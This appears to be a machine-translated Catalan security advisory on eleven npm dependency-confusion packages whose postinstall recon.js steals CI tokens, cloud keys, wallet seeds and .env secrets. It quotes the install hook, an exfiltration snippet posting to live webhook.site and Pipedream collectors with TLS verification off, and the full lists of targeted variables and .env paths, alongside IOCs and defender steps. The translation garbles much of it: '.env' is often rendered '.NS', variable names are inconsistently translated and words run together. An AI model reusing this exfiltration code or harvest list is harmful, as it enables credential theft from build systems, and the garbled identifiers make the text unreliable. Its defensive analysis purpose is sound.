TL; DR
El 17 de juny de 2026, es va publicar un únic compte npm onze paquets que comparteixen un propòsit i una càrrega útilDeu d'ells porten el cryptodao- prefix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); l'onzè és l'àmbit d'aplicació @public-for-cdao/coreTothom va ser publicat a la versió 99.99.99 i envia un byte idèntic recon.js que continua postinstall.
Els noms són l'indicador. Es llegeixen com els blocs de construcció interns de la cadena d'eines privada d'un projecte de criptografia/DAO. Publicats al registre públic npm en una versió artificialment alta, esperen una compilació. pipeline que està configurat per resoldre aquests noms i que arriba a npm públic abans (o en lloc de) el registre privat. Això és confusió de dependències, i la càrrega útil està ajustada exactament per on espera aterrar: CI/CD els corredors.
Quan? postinstall incendis, recon.js recopila detalls de l'amfitrió, escombra a fons quaranta variables d'entorn de núvol, CI i moneder criptogràfic, llegeix qualsevol .env fitxers que pot trobar i reenvia les línies que contenen secrets literalment, i després transmet el paquet a dos col·leccionistes — webhook.site i un punt final de Pipedream, amb la verificació del certificat TLS desactivada. També s'escriu una còpia a sota /tmp.
Severitat: altEcosistema afectat: npmEls onze paquets estaven disponibles en el moment d'escriure aquest article.
Anatomia d'atac
El mecanisme té quatre parts mòbils, i cap d'elles és subtil un cop saps com fer-ho. mireu una capa més enllà del nom del paquet.
1. Inflació de versions com a esquer de resolució. Cada paquet declara la versió 99.99.99La confusió de dependències funciona quan un gestor de paquets demana un nom intern, també comprova el registre públic i tria la versió més alta finds. La selecció predeterminada de npm per a un interval de circumflex o comodí és versió més satisfactòria a cada font configurada; si tant una font privada el registre i la resposta npm pública per al mateix nom, guanya el número de versió més gran. A 99.99.99 supera essencialment qualsevol versió interna real que tingui un projecte assolit, de manera que un resolutor que no està vinculat a la font privada prefereix el còpia pública —i en aquest cas, hostil—. L'operador no necessita conèixer la els números de versió reals de l'objectiu; triar un màxim absurd garanteix l'empat sempre els trenca camí.
2. Un activador de postinstal·lació. paquet.json connecta la càrrega útil a la instal·lació cicle de vida:
{ "scripts": { "postinstall": "node recon.js" } } No cal importar el paquet. Només cal instal·lar-lo, cosa que un CI fa. pipeline fa automàticament — s'executa recon.js.
3. Una àmplia incursió secreta. recon.js assembla una matriu de resultats en etapes:
- Context de l'amfitrió: nom de l'amfitrió, plataforma i versió, arquitectura, nom d'usuari, funcionament directori.
- Variables d'entorn: itera una llista fixa d'uns quaranta noms i registres qualsevol que estigui definit. La llista és reveladora: emparella tokens CI genèrics (CI_JOB_TOKEN, CONTRASENYA_REGISTRE_CI, GITLAB_ACCESS_TOKEN) i núvol credencials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) amb secrets de registre i contenidor (NPM_TOKEN, CONTRASENYA_DOCKER, CONTRASENYA_PORT) i un clúster amb un sabor clarament criptogràfic: CLAU_PRIVADA, MNEMOÈNTIC, FRASE_LLAVOR, INFURA_API_CLAU, ALQUIMIA_API_CLAU, ETH_RPC, BSC_RPCEls valors enregistrats es trunquen als primers 50 caràcters.
- .NS fitxers: sonda una llista de camins — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, i la .producció/desenvolupament variants — i per a qualsevol fitxer que existeixi, filtra el contingut a les línies que coincideixin CLAU|SECRET|TOKEN|PASS|PRIVAT|MNEMOÈNIC i introdueix aquestes línies **senceres, sense truncar** als resultats.
- Context de compilació de l'amfitrió: enumera les 20 primeres entrades de /construeix/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/i /tmp/.
La llista de camins i la llista de variables tenen un pes positiu cap als executors de GitLab, cosa que apunta la càrrega útil directament a la infraestructura de CI autoallotjada en lloc d'un desenvolupador ordinador portàtil. Agrupar la llista de collites per categoria fa que la captura prevista sigui clara:
| Categoria | Variables / camins assolits |
|---|---|
| CI/CD identitat i desplegament | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registre i contenidor | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Magatzems de dades | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Criptomoneda / cadena de blocs | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Messaging | SLACK_TOKEN, DISCORD_TOKEN |
| En disc | .env família + /home/gitlab-runner/.env, /root/.env, /app/**/.env; llistes de directoris de /builds/, /var/lib/gitlab-runner/ |
El clúster criptogràfic és la part que distingeix això d'un CI-secret genèric. escombrat: les frases llavor de la cartera i les claus de signatura només apareixen en l'entorn d'un projecte blockchain, i es mapen directament al criptodao-/signe/contractes nomenament dels transportistes.
4. Exfiltració dual amb verificació desactivada. La matriu recollida és serialitzat i enviat per POST a dues destinacions:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rebutjarNo autoritzat: fals desactiva les comprovacions de certificats TLS per a la sortida trucades. Les mateixes dades s'imprimeixen a stdout (de manera que també arriben als registres de treballs de CI) i escrit a /tmp/.npm_recon_ .jsonEls errors s'empassen silenciosament, de manera que a un enviament fallit no deixa rastre a la sortida de la instal·lació més enllà d'un sol [reconeixement] instal·lat a line.
Un comentari principal del fitxer ho descriu com una "confusió de dependències" Càrrega útil de reconeixement." El truncament dels valors d'entorn a 50 caràcters ha la forma d'una prova de concepte. El que la fa passar més enllà d'una balisa només de presència és el .NS manipulació: les línies de portament secret es reenvien completament i les destinacions són dos col·lectors que funcionen i controlats per l'atacant en lloc d'un embornal que només compta accessos.
Línia de temps
El patró de publicació és la signatura d'una única push amb script, no d'onze càrregues independents.
| Hora (UTC, 17/06/2026) | esdeveniment |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 publicat |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variant amb àmbit, ~24 min més tard |
Deu paquets van sortir dins d'un període de 29 segons, aproximadament un cada tres segons. L'abast @públic-per-cdao/core seguit uns 24 minuts després — un segon convenció de nomenclatura per al mateix objectiu, en cas que el projecte consumidor faci referència a cadena d'eines interna sota un àmbit en lloc de com a noms nus.
Indicadors de compromís
| Tipus | Indicador |
|---|---|
| Col · leccionista | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Col · leccionista | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Instal·la el ganxo | postinstall: node recon.js |
| Fitxer descartat | /tmp/.npm_recon_<timestamp>.json |
| Marcador de registre | [recon] <pkg>@<ver> installed on <hostname> (sortida estàndard als registres de CI) |
| Comportamental | rejectUnauthorized: false en HTTPS de sortida durant la instal·lació |
| Carrega útil | recon.js, idèntic en els onze paquets (una compilació compartida) |
| version | 99.99.99 a cada paquet |
| Paquets | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (tots 99.99.99) |
| Editor | aduljune / aduljune@proton.me (correu electrònic sense verificar, sense repositori font enllaçat) |
Atribució i comportament observat
Tot sobre el clúster apunta a una mà. Els onze paquets van ser publicats. pel compte npm Aduljune (aduljune@proton.me, una adreça no verificada sense repositori font enllaçat), dins d'un interval de 25 minuts, al mateix temps 99.99.99 versió, enviament d'un recon.js el contingut del qual és idèntic byte a byte en tots els paquet (MD5 coincideix amb les onze còpies extretes). Això és una càrrega útil estampat en una llista de noms, no en una reutilització de codi independent.
La llista de noms defineix l'objectiu previst. criptodao-* i cdao descriu el disseny de mòduls privats d'un projecte criptogràfic/DAO i la llista de recollida de la càrrega útil miralls que endevinen: juntament amb els secrets genèrics de CI i núvol, específicament arriba a CLAU_PRIVADA, MNEMOÈNTIC, FRASE_LLAVOR, i Ethereum/BSC RPC i claus del proveïdor. El/La/Els/Les .NS les rutes de cerca i els llistats de directoris són GitLab-runner específic. L'efecte observable és que qualsevol pipeline enganyats per instal·lar-los els noms reenviarien els seus tokens de CI, claus de núvol i dades al disc .NS secrets — i, per a un projecte de blockchain, el seu material de cartera, a dos col·leccionistes externs.
No fem cap afirmació sobre qui opera el compte ni què tenien previst fer amb el dades. Els fets que es mantenen per si sols: els noms es dirigeixen a un tipus específic de cadena d'eines interna, la càrrega útil llegeix i transmet valors secrets reals i la infraestructura estava en funcionament.
Impacte, tendències i orientació per a defensors
Confusió de dependència continua sent eficaç perquè explota el comportament del resolutor, no un vulnerabilitat en qualsevol paquet. El transportista aquí és trivial: onze gairebé buits paquets, però el radi de l'explosió és el que sigui pipeline prefereix erròniament npm públic per a un nom intern. Els executors de CI són el pitjor lloc perquè això passi: mantenen exactament les fitxes i .NS fitxers que llegeix aquesta càrrega útil i els instal·len dependències de manera no interactiva, de manera que a postinstal·lació corre sense que ningú miri.
Aquest clúster també s'ajusta a un patró que observem constantment: càrregues útils en temps d'instal·lació que presenten com a "recerca" o "reconeixement" mentre es fa una recollida de credencials real. L'etiqueta al fitxer no canvia el que fa el codi en un executor. Es mantenen dues opcions de disseny l'activitat silenciosa: cada operació de xarxa i sistema de fitxers està envoltada d'un gestor d'excepcions que descarta errors, de manera que un enviament bloquejat o un fitxer perdut no produeix cap sortida de diagnòstic i l'única cosa que s'imprimeix és una sola innocua [recon] … instal·lat línia que es barreja amb la xerrameca normal d'instal·lació. L'ús de webhook.site i Pipedream també és comoditat deliberada: tots dos són gratuïts, serveis de captura de sol·licituds aprovisionats instantàniament, de manera que l'operador no necessita servidors de els seus propis i les destinacions semblen noms d'amfitrió SaaS ordinaris als registres de sortida.
L'economia és el que fa que això valgui l'atenció d'un defensor, tot i que El codi del transportista és trivial. Registrar onze noms no costa res, la càrrega útil és un fitxer copiat onze vegades, i el gestor de paquets fa tota l'execució. Un sol mal configurat pipeline qualsevol lloc que consumeixi un d'aquests noms paga per la totalitat operació.
Mesures concretes per als defensors:
- Fixa els àmbits interns al teu registre privat. Configura npm per a noms interns
i els àmbits només es resolen contra el vostre registre (assignacions de registre .npmrc amb àmbit, o un proxy que mai no es connecta a l'npm públic per a espais de noms propietat). Reserveu els vostres noms d'àmbit públic perquè ningú més pugui registrar-los.
- Commit lockfiles i instal·lar amb –ignore-scripts en CI sempre que sigui possible, o revisa el petit conjunt de dependències que realment necessiten scripts d'instal·lació. recon.js no es pot executar si postinstal·lació no s'executa.
- Tracta una versió de 99.99.99 (o una altra versió absurdament alta) d'un nom d'aspecte intern com una bandera vermella en la revisió de dependències i la supervisió del registre.
- Alerta sobre la sortida en temps d'instal·lació. A postinstal·lació que obre un HTTPS de sortida connexió —especialment amb la verificació de certificats desactivada— a Val la pena bloquejar webhook.site, Pipedream o serveis similars de captura de sol·licituds a la vora de la xarxa i marcar-los als registres de compilació.
- Busca els artefactes. Comproveu si hi ha corredors /tmp/.npm_recon_*.json i per al [recon] … instal·lat el … marcador als registres recents de CI. Si es troba, gira cada credencial exposada a això pipeline — Tokens de CI, claus de núvol, tokens de registre i qualsevol llavor de cartera o clau privada present a l'entorn o als fitxers .env.
referències
No existia cap informe extern sobre aquest clúster en el moment d'escriure aquest article; l'anàlisi anterior es basa directament en el contingut del paquet publicat




